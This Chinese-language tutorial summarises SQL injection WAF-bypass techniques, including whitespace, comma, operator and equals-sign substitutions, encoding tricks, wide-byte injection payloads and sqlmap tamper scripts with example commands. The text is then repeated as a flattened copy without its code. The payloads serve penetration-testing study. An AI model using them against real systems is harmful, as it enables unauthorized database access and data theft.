sql注入绕过与sqlmap绕过使用总结
字数 1404 2025-08-09 22:00:46

SQL注入绕过与SQLMap绕过使用总结

前言

在渗透测试过程中,经常会遇到存在SQL注入点但被WAF拦截的情况。本文总结了多种SQL注入绕过技术和SQLMap工具的绕过使用方法,帮助安全研究人员在实际测试中突破WAF防护。

手动绕过技术

一、空格被过滤

当空格被过滤时,可以使用以下替代方案:

  • 编码形式:%20, %09
  • 注释形式:/**/, /*注释*/
  • 其他空白字符:%0a, %0b, %0c, %0d, %a0

二、空格被过滤但括号未被过滤

可以使用多个括号代替空格:

select(admin())from data where(1=1)and(2=2)
id=1%27and(sleep(ascii(mid(data()from(1)for(1)))=1))%23

三、逗号绕过

当需要用到offsetjoinlimit等语句时:

  1. 使用join代替:
union select 1,2
-- 替换为
union select * from (select 1)a join (select 2)b
  1. 使用offset代替:
limit 2,1
-- 替换为
limit 1 offset 2
  1. 使用like代替:
select ascii(mid(user(),1,1))=97
-- 替换为
select user() like 'a%'

四、逻辑运算符绕过

orandnotxor被过滤时:

  • and 等价于 &&
  • or 等价于 ||
  • xor 等价于 |
  • not 等价于 !

五、等号绕过

?id=1 or 1 like 1        -- 用like代替等号
?id=1 or 1 rlike 1       -- 用rlike代替等号
?id=1 or 1 regexp 1      -- 用regexp代替等号
?id=1 or !(1 <> 1)       -- 用<>加!代替等号

六、编码绕过

  1. 16进制绕过:
select * from users where username = user;
-- 替换为
select * from users where username = 0x75736572;
  1. 两次URL全编码:
1+and+1=2
-- 替换为
1+%25%36%31%25%36%65%25%36%34+1=2

七、函数替代绕过

当特定函数被禁用时:

  • hex(), bin() 等价于 ascii()
  • sleep() 等价于 benchmark()
  • concat_ws() 等价于 group_concat()
  • mid(), substr() 等价于 substring()
  • @@user 等价于 user()
  • @@datadir 等价于 datadir()

八、宽字节绕过

当单双引号被转义时:

%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- qwe

SQLMap绕过技术

SQLMap提供了多种tamper脚本用于绕过WAF防护:

常用tamper脚本

  1. apostrophemask.py - 用UTF8代替引号

    • 示例:'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
  2. base64encode.py - 使用Base64编码

    • 示例:'MScgQU5EIFNMRUVQKDUpIw=='
  3. multiplespaces.py - 在SQL关键字周围添加多个空格

    • 示例:'1 UNION SELECT foobar'
  4. space2plus.py - 用+替换空格

    • 示例:'SELECT+id+FROM+users'
  5. nonrecursivereplacement.py - 双重查询语句

    • 示例:'1 UNIOUNIONN SELESELECTCT 2--'
  6. space2randomblank.py - 用随机空白字符替换空格

    • 示例:'SELECT%0Did%0DFROM%0Ausers'
  7. unionalltounion.py - 替换UNION ALL SELECT为UNION SELECT

    • 示例:'-1 UNION SELECT'
  8. securesphere.py - 追加特制字符串

    • 示例:"1 AND 1=1 and '0having'='0having'"

SQLMap使用示例

  1. 基本使用:
sqlmap.py -u "http://www.xxxxx.com/test.php?id=1" --delay=2 --random-agent --tamper "versionedmorekeywords.py"
  1. 使用多个tamper脚本:
sqlmap.py -u "http://www.xxxxx.com/test.php?id=1" --tamper "space2comment,versionedmorekeywords.py"

结语

在实际渗透测试中,应根据目标WAF的类型选择合适的绕过技术。可以通过以下方法判断WAF类型:

  1. 指纹识别
  2. 尝试不同注入语句观察拦截行为

对于特定WAF(如云锁),建议在虚拟机环境中进行断网测试,成功绕过后可分享具体思路。

SQL注入绕过与SQLMap绕过使用总结 前言 在渗透测试过程中,经常会遇到存在SQL注入点但被WAF拦截的情况。本文总结了多种SQL注入绕过技术和SQLMap工具的绕过使用方法,帮助安全研究人员在实际测试中突破WAF防护。 手动绕过技术 一、空格被过滤 当空格被过滤时,可以使用以下替代方案: 编码形式: %20 , %09 注释形式: /**/ , /*注释*/ 其他空白字符: %0a , %0b , %0c , %0d , %a0 二、空格被过滤但括号未被过滤 可以使用多个括号代替空格: 三、逗号绕过 当需要用到 offset 、 join 、 limit 等语句时: 使用 join 代替: 使用 offset 代替: 使用 like 代替: 四、逻辑运算符绕过 当 or 、 and 、 not 、 xor 被过滤时: and 等价于 && or 等价于 || xor 等价于 | not 等价于 ! 五、等号绕过 六、编码绕过 16进制绕过: 两次URL全编码: 七、函数替代绕过 当特定函数被禁用时: hex() , bin() 等价于 ascii() sleep() 等价于 benchmark() concat_ws() 等价于 group_concat() mid() , substr() 等价于 substring() @@user 等价于 user() @@datadir 等价于 datadir() 八、宽字节绕过 当单双引号被转义时: SQLMap绕过技术 SQLMap提供了多种tamper脚本用于绕过WAF防护: 常用tamper脚本 apostrophemask.py - 用UTF8代替引号 示例: '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' base64encode.py - 使用Base64编码 示例: 'MScgQU5EIFNMRUVQKDUpIw==' multiplespaces.py - 在SQL关键字周围添加多个空格 示例: '1 UNION SELECT foobar' space2plus.py - 用+替换空格 示例: 'SELECT+id+FROM+users' nonrecursivereplacement.py - 双重查询语句 示例: '1 UNIOUNIONN SELESELECTCT 2--' space2randomblank.py - 用随机空白字符替换空格 示例: 'SELECT%0Did%0DFROM%0Ausers' unionalltounion.py - 替换UNION ALL SELECT为UNION SELECT 示例: '-1 UNION SELECT' securesphere.py - 追加特制字符串 示例: "1 AND 1=1 and '0having'='0having'" SQLMap使用示例 基本使用: 使用多个tamper脚本: 结语 在实际渗透测试中,应根据目标WAF的类型选择合适的绕过技术。可以通过以下方法判断WAF类型: 指纹识别 尝试不同注入语句观察拦截行为 对于特定WAF(如云锁),建议在虚拟机环境中进行断网测试,成功绕过后可分享具体思路。